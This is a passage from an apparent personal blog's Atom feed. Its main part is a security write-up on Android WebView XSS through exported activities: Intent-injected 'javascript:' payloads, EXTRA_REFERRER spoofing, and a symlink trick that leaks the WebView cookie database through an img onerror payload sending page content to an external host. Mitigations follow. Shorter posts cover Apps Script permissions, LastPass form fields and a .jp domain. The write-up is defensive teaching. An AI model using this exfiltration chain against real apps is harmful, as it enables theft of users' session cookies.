  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.example.myapp.MainActivity&lt;/code&gt; - the package and class name to be called (e.g. the activity’s code might look like: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;package com.example.myapp; .... public class MainActivity&quot;&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;android.intent.action.VIEW&lt;/code&gt; is the action defined in the manifest like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;action android:name=&quot;android.intent.action.VIEW&quot; /&amp;gt;&lt;/code&gt; (sometimes it works without specifying this)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-d&lt;/code&gt; sets the data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb&lt;/code&gt; is ideal for testing, however let’s not forget that a real-life malicious app would send the same Intent from Java like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Intent i = new Intent();
i.setAction(&quot;android.intent.action.VIEW&quot;);
i.setClassName(&quot;com.example.myapp&quot;,&quot;com.example.myapp.MainActivity&quot;);
i.setData(Uri.parse(&quot;javascript:alert(document.cookie)&quot;));
startActivity(i);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;extras&quot;&gt;Extras&lt;/h3&gt;

&lt;p&gt;In addition to the main data of an Intent, extra parameters can be passed either via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;putExtra()&lt;/code&gt; Java call or with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--eX&lt;/code&gt; flags of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;abd&lt;/code&gt; depending on the type of the data:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--es&lt;/code&gt; for string&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--eu&lt;/code&gt; for URI&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--ez&lt;/code&gt; for boolean&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--ei&lt;/code&gt; for integer&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--el&lt;/code&gt; for long&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--ef&lt;/code&gt; for float&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;More options: &lt;a href=&quot;https://developer.android.com/studio/command-line/adb#IntentSpec&quot;&gt;https://developer.android.com/studio/command-line/adb#IntentSpec&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Example:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;adb shell am start -n &quot;com.example.myapp/com.example.myapp.MainActivity&quot; --es url &quot;javascript:alert\(document.cookie\)&quot; --es &quot;app.subject_id&quot; &quot;1234&quot; --eu &quot;android.intent.extra.REFERRER&quot; &quot;android-app:\/\/com.example.myapp&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Same in Java:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Intent i = new Intent();
i.setAction(&quot;android.intent.action.VIEW&quot;);
i.setClassName(&quot;com.example.myapp&quot;,&quot;com.example.myapp.MainActivity&quot;);
i.putExtra(Intent.EXTRA_REFERRER, Uri.parse(&quot;android-app://com.example.myapp&quot;));
i.putExtra(&quot;app.subject_id&quot;, 1234);
i.putExtra(&quot;url&quot;,&quot;javascript:alert(document.cookie)&quot;);
startActivity(i);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;referer-spoofing&quot;&gt;Referer-spoofing&lt;/h2&gt;

&lt;p&gt;Intents can contain an &lt;a href=&quot;https://developer.android.com/reference/android/content/Intent#EXTRA_REFERRER&quot;&gt;EXTRA_REFERRER&lt;/a&gt; field, and it seems reasonable to check that to ensure only trusted apps can send requests to our app, however this parameter can be easily spoofed by a malicious app (as shown above).&lt;/p&gt;

&lt;h2 id=&quot;impact-i-have-all-your-cookies&quot;&gt;Impact: I have all your cookies&lt;/h2&gt;

&lt;p&gt;The impact of &lt;a href=&quot;https://en.wikipedia.org/wiki/Cross-site_scripting&quot;&gt;XSS&lt;/a&gt; is generally reduced by the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;httpOnly&lt;/code&gt; cookie flag&lt;/a&gt;, however there is a clever trick to bypass this and get all cookies from a WebView. (This is mentioned in &lt;a href=&quot;https://support.google.com/faqs/answer/9084685?hl=en-GB&quot;&gt;Google’s description&lt;/a&gt; too.)&lt;/p&gt;

&lt;p&gt;A WebView uses it’s own set of cookies that are stored in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/data/data/package_name/app_webview/Cookies&lt;/code&gt; SQLite file. As this is in the &lt;a href=&quot;https://source.android.com/security/app-sandbox&quot;&gt;app’s own folder, it is only accessible by the app itself&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The attack works like this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The malicious app opens a malicios site within the victim app’s WebView&lt;/li&gt;
  &lt;li&gt;This site creates a cookie for it’s own domain and sets the cookie value to an XSS payload, e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img src=x onerror=&apos;this.src = &quot;https://example.com/?&quot; + encodeURIComponent(document.getElementsByTagName(&quot;html&quot;)[0].innerHTML)&apos;&amp;gt;&lt;/code&gt; (this takes the entire page and sends it to an external site)&lt;/li&gt;
  &lt;li&gt;This cookie gets stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/data/data/package_name/app_webview/Cookies&lt;/code&gt; along with all the other cookies (this might take a few seconds, so the malicious app might need to wait up to 20-30 seconds)&lt;/li&gt;
  &lt;li&gt;The malicious app creates a symlink to this file, e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ln -s /data/data/package_name/app_webview/Cookies /tmp/symlink.html&lt;/code&gt; (even though the malicous app can’t access the cookies file directly, it can make the symlink)&lt;/li&gt;
  &lt;li&gt;The malicious app opens &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file:///tmp/symlink.html&lt;/code&gt; in the WebView. Since the Cookies file is owned by the app, it can access it.&lt;/li&gt;
  &lt;li&gt;Since the file extension is html, the WebView will look for any HTML code and interpret it as such. The file is an SQLite database file, so it has a lot of non-ASCII bytes, however the cookie values appear in clear text, thus the HTML code injected in step 2 runs.&lt;/li&gt;
  &lt;li&gt;The injected JavaScript takes the entire content of the file and sends it to an external server. This contains all cookies from the WebView.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The mobile security concept is very different from the desktop: on desktop if a user runs a malicious app, that’s (almost) game over (e.g. they can usually start a keylogger, steal the browser’s cookie jars etc.). On mobile however it is expected that apps and user data is protected even against a malicious app (e.g. see the fine-tuned permission system). To exploit an intent-based issue, the attacker needs to convince the user to install the attacker’s app on their phone, which does reduce the risk, however because of the expectation of apps being separated, we generally still need to consider (and fix) these issues.&lt;/p&gt;

&lt;h2 id=&quot;solution-1-disable-calling-intents-from-other-apps&quot;&gt;Solution 1: disable calling intents from other apps&lt;/h2&gt;

&lt;p&gt;This is the &lt;a href=&quot;https://support.google.com/faqs/answer/9084685?hl=en-GB&quot;&gt;first recommendation by Google&lt;/a&gt; too:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Find any &lt;a href=&quot;https://developer.android.com/reference/android/app/Activity&quot;&gt;Activities&lt;/a&gt; with affected &lt;a href=&quot;https://developer.android.com/reference/android/webkit/WebView&quot;&gt;WebViews&lt;/a&gt;. If these &lt;a href=&quot;https://developer.android.com/reference/android/app/Activity&quot;&gt;Activities&lt;/a&gt; do not need to take &lt;a href=&quot;https://developer.android.com/reference/android/content/Intent&quot;&gt;Intents&lt;/a&gt; from other apps you can set &lt;a href=&quot;https://developer.android.com/guide/topics/manifest/activity-element#exported&quot;&gt;android:exported=false&lt;/a&gt; for the &lt;a href=&quot;https://developer.android.com/reference/android/app/Activity&quot;&gt;Activities&lt;/a&gt; in your &lt;a href=&quot;https://developer.android.com/guide/topics/manifest/manifest-intro&quot;&gt;Manifest&lt;/a&gt;. This ensures that malicious apps cannot send harmful inputs to any &lt;a href=&quot;https://developer.android.com/reference/android/webkit/WebView&quot;&gt;WebViews&lt;/a&gt; in these activities.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;However sometimes this is not an option, e.g. some apps send push notifications to the user, and uppon clicking on those, they send an Intent to the app asking it to open a specific page in the app’s WebView showing e.g. a promotion.&lt;/p&gt;

&lt;h2 id=&quot;solution-2-only-open-trusted-links&quot;&gt;Solution 2: only open trusted links&lt;/h2&gt;

&lt;p&gt;Have an allowlist of domains and check that the URL from the Intent starts with the entire domain, e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example.com/&lt;/code&gt;. The trailing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt; is important, otherwise &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example.com.attacker.com&lt;/code&gt; would be accepted.&lt;/p&gt;

&lt;h3 id=&quot;accepting-any-subdomains&quot;&gt;Accepting any subdomains&lt;/h3&gt;

&lt;p&gt;If all subdomains of a trusted domain need to be accepted, it’s tempting to parse the URL and then ensure that the hostname ends with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.example.com&lt;/code&gt; (leading &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.&lt;/code&gt; is important, otherwise &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;attackerexample.com&lt;/code&gt; would be accepted). However make sure to check the protocol too, otherwise this might get accepted: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javascript://mysite.example.com/%0aalert(1)&lt;/code&gt;. But more on this trick in &lt;a href=&quot;https://szabo.jp/2021/05/12/open-redirect-to-XSS/&quot;&gt;another post&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Restricting Google App Script permissions</title>
   <link href="https://szabo.jp/2021/05/10/restricting-google-app-script-permissions/"/>
   <updated>2021-05-10T09:30:00+00:00</updated>
   <id>https://szabo.jp/2021/05/10/restricting-google-app-script-permissions</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;Google Apps Script is a rapid application development platform that makes it fast and easy to create business applications that integrate with Google Workspace. You write code in modern JavaScript and have access to built-in libraries for favorite Google Workspace applications like Gmail, Calendar, Drive, and more.&lt;/p&gt;

  &lt;p&gt;&lt;a href=&quot;https://developers.google.com/apps-script/overview&quot;&gt;https://developers.google.com/apps-script/overview&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Google Apps Script provide an easy way to automate repetitive tasks in the Google ecosystem (e.g. Drive). It is somewhat similar to macros in Microsoft Office. An App Script will ask for permissions before it can interact with any document of the user, and by default these permissions are unnecessarily wide. This write up is meant to help restricting these permissions.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;script-types&quot;&gt;Script types&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Standalone&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A standalone script is any script that is not bound to a Google Sheets, Docs, Slides, or Forms file or Google Sites. These scripts appear among your files in Google Drive.&lt;/p&gt;

  &lt;p&gt;&lt;a href=&quot;https://developers.google.com/apps-script/guides/standalone&quot;&gt;https://developers.google.com/apps-script/guides/standalone&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Container-bound Scripts&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;A script is bound to a Google Sheets, Docs, Slides, or Forms file if it was created from that document rather than as a standalone script. The file a bound script is attached to is referred to as a “container”. Bound scripts generally behave like standalone scripts except that they do not appear in Google Drive, they cannot be detached from the file they are bound to, and they gain a few special privileges over the parent file.&lt;/p&gt;

  &lt;p&gt;&lt;a href=&quot;https://developers.google.com/apps-script/guides/bound&quot;&gt;https://developers.google.com/apps-script/guides/bound&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For most use-cases Container-bound Scripts are a better fit.&lt;/p&gt;

&lt;h2 id=&quot;permissions-the-script-asks-for&quot;&gt;Permissions the script asks for&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;Apps Script determines the authorization scopes (like access your Google Sheets files or Gmail) automatically, based on a scan of the code. Code that is commented out can still generate an authorization request. If a script needs authorization, you’ll see one of the authorization dialogs shown here when it is run. Scripts that you have previously authorized also ask for additional authorization if a code change adds new services.&lt;/p&gt;

  &lt;p&gt;&lt;a href=&quot;https://developers.google.com/apps-script/guides/services/authorization&quot;&gt;https://developers.google.com/apps-script/guides/services/authorization&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When authorizing a script it will ask access to all documents in the user’s Drive, even if the script is bound to a single document and only interacting with that document:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-10-restricting-google-app-script-permissions/originalpermissions.png#lb&quot; alt=&quot;Consent message with original authorization scopes&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once it’s authorized, it can access other documents from the user’s Drive by e.g.:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var ss = SpreadsheetApp.openById(&quot;15MDqa36NGq2nsLuQKT62lKWS-v7yLMf6UXQT-l7yDDs&quot;);
Logger.log(ss.getName());
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is not optimal, as the script should only be asking for the permissions it needs.&lt;/p&gt;

&lt;h2 id=&quot;solution-1-onlycurrentdoc&quot;&gt;Solution 1: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@OnlyCurrentDoc&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Include the following comment in the beginning of your script:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/**
 * @OnlyCurrentDoc
 */
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From: &lt;a href=&quot;https://developers.google.com/apps-script/guides/services/authorization#manual_authorization_scopes_for_sheets_docs_slides_and_forms&quot;&gt;https://developers.google.com/apps-script/guides/services/authorization#manual_authorization_scopes_for_sheets_docs_slides_and_forms&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;solution-2-define-the-permissions-manually&quot;&gt;Solution 2: Define the permissions manually&lt;/h2&gt;

&lt;p&gt;Google tries to guess the permissions your script needs, but you can override that and define the permissions manually by editing the manifest file.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The Apps Script editor hides manifest files by default in order to protect your Apps Script project settings. Follow these steps to make a hidden project manifest visible in the Apps Script editor:&lt;/p&gt;

  &lt;ol&gt;
    &lt;li&gt;Open the script project in the Apps Script editor.&lt;/li&gt;
    &lt;li&gt;Select View &amp;gt; Show project manifest.&lt;/li&gt;
  &lt;/ol&gt;

  &lt;p&gt;&lt;a href=&quot;https://developers.google.com/apps-script/concepts/manifests&quot;&gt;https://developers.google.com/apps-script/concepts/manifests&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And add the following line to the the json (for a script that should only interact with the spreadsheet it is bound to):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;oauthScopes&quot;: [&quot;https://www.googleapis.com/auth/spreadsheets.currentonly&quot;]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Either of these options will restrict the scope to the single document and in turn change the authorization screen to:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-10-restricting-google-app-script-permissions/newpermissions.png#lb&quot; alt=&quot;Consent message with restricted authorization scopes&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If you need more permissions (e.g. access to an other file), this seems like a good place to start: &lt;a href=&quot;https://stackoverflow.com/a/57564752/8590802&quot;&gt;https://stackoverflow.com/a/57564752/8590802&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;permissions-on-changing-the-scripts&quot;&gt;Permissions on changing the scripts&lt;/h2&gt;

&lt;p&gt;Slightly unrelated security note: for bound scripts the permissions are the same as the file they are bound to:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;All container-bound scripts use the same owner, viewer, and editor access list defined for the container file. The container owner takes ownership of a new script project regardless of who created it. Only users who have permission to edit a container can run its bound script. Collaborators who have only view access cannot open the script editor, although if they make a copy of the parent file, they become the owner of the copy and will be able to see and run a copy of the script.&lt;/p&gt;

  &lt;p&gt;&lt;a href=&quot;https://developers.google.com/apps-script/guides/bound#access_to_bound_scripts&quot;&gt;https://developers.google.com/apps-script/guides/bound#access_to_bound_scripts&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So only give edit access to the file to people you trust, and don’t store anything sensitive in the script’s code.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Using LastPass on login forms with more than 2 inputs</title>
   <link href="https://szabo.jp/2021/05/10/using-lastpass-on-login-forms-with-more-than-2-inputs/"/>
   <updated>2021-05-10T08:55:00+00:00</updated>
   <id>https://szabo.jp/2021/05/10/using-lastpass-on-login-forms-with-more-than-2-inputs</id>
   <content type="html">&lt;p&gt;LastPass generally handles common login pages with a username and password well, but it breaks on login forms that have more than those two fields. But there is a solution.&lt;/p&gt;

&lt;h2 id=&quot;the-problem&quot;&gt;The problem&lt;/h2&gt;

&lt;p&gt;Here is the site I’ll use as an example: the login page of the SMBC bank: [https://direct.smbc.co.jp/aib/aibgsjsw5001.jsp]&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-10-using-lastpass-on-login-forms-with-more-than-2-inputs/problem.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The first line gives 2 options for identifying your user: either specify your bank account number (branch code and account number) or use your contractor number. I’m using the first one, so let’s focus on that. The problem is that the branch code and the account numbers are two separate text boxes, thus when I fill them out and login, then LastPass will only save one of them as username.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;edit-the-form-fields&quot;&gt;Edit the Form Fields&lt;/h2&gt;

&lt;p&gt;There is a feature of LastPass that solves this issue. Go to edit the login entry. On the bottom left there is a wrench icon, click that:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-10-using-lastpass-on-login-forms-with-more-than-2-inputs/lp1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This will bring up a window like this (this already has two extra form fields added by me):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-10-using-lastpass-on-login-forms-with-more-than-2-inputs/lp2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Here you can add any number of form fields to be filled in when filling in the login form. For each element you can specify:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-05-10-using-lastpass-on-login-forms-with-more-than-2-inputs/lp3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Field name: use the name attribute of the input html tag (e.g. for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;input type=&quot;tel&quot; name=&quot;S_ACCNT_NO&quot; id=&quot;S_ACCNT_NO&quot; maxlength=&quot;7&quot; tabindex=&quot;2&quot;&amp;gt;&lt;/code&gt; use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;S_ACCNT_NO&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;Field type: I guess this is used to match the input type, although selecting Text for the above input (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;type=&apos;tel&apos;&lt;/code&gt;) works&lt;/li&gt;
  &lt;li&gt;Field value: whatever you want to be filled in (e.g. branch code, account number)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Save it and enjoy the fields being filled with the right input.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Getting a .jp domain</title>
   <link href="https://szabo.jp/2021/05/09/getting-a-jp-domian/"/>
   <updated>2021-05-09T05:13:00+00:00</updated>
   <id>https://szabo.jp/2021/05/09/getting-a-jp-domian</id>
   <content type="html">&lt;p&gt;I have a super common family name in Hungary: Szabo. It means tailor, and appr. 2% of Hungarians have this family name (&lt;a href=&quot;https://en.wikipedia.org/wiki/Szab%C3%B3&quot;&gt;203,126&lt;/a&gt; out of &lt;a href=&quot;https://en.wikipedia.org/wiki/Demographics_of_Hungary&quot;&gt;9,730,000&lt;/a&gt;). Thus szabo.hu, szabo.eu, szabo.com, szabo.net, szabo.info, szabo.me, szabo.xyz etc. are mostly taken. However I recently checked and szabo.jp was available! Following a &lt;a href=&quot;https://tokyocheapo.com/business/registering-jp-domains-for-cheap/&quot;&gt;Tokyo Cheapo guide&lt;/a&gt; I found &lt;a href=&quot;https://www.star-domain.jp?ref=NA99yyrv&quot;&gt;Star Domain&lt;/a&gt; and bought the domain there for 2560 yen/year. (Star Domain has a referral program, so if you use this link, I might earn a little money.)&lt;/p&gt;

&lt;p&gt;I already had hosting elsewhere, so I only needed the domain and Star Domain has a &lt;a href=&quot;https://www.star-domain.jp/man/man_dns_setting.php&quot;&gt;pretty straightforward DNS configurator&lt;/a&gt;. I read that only people in Japan can register &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.jp&lt;/code&gt; domains, so I expected some verification, but only my phone number was checked and after I paid for the domain, I could use it immediately.&lt;/p&gt;

&lt;p&gt;Most part of the site is text based, so Google Translate makes it possible to use it without knowing too much Japanese.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Revive this blog</title>
   <link href="https://szabo.jp/2021/05/09/revive-this-blog/"/>
   <updated>2021-05-09T03:03:00+00:00</updated>
   <id>https://szabo.jp/2021/05/09/revive-this-blog</id>
   <content type="html">&lt;p&gt;After being rejected from ADDress, I abandoned this blog and focused on &lt;a href=&quot;https://japan.szabo-simon.hu/&quot;&gt;my blog in Hungarian&lt;/a&gt;. However a lot has changed recently, and I feel the need of a place to publish in English. Thus I decided to reuse this blog, but shift the focus from the original digital nomad life to more general life in Japan with occasional tech related articles. For this reason I also got a new domain name: szabo.jp. Szabo (read as サボー) being my family name.&lt;/p&gt;

&lt;p&gt;Enjoy!&lt;/p&gt;
</content>
 </entry>
 

</feed>
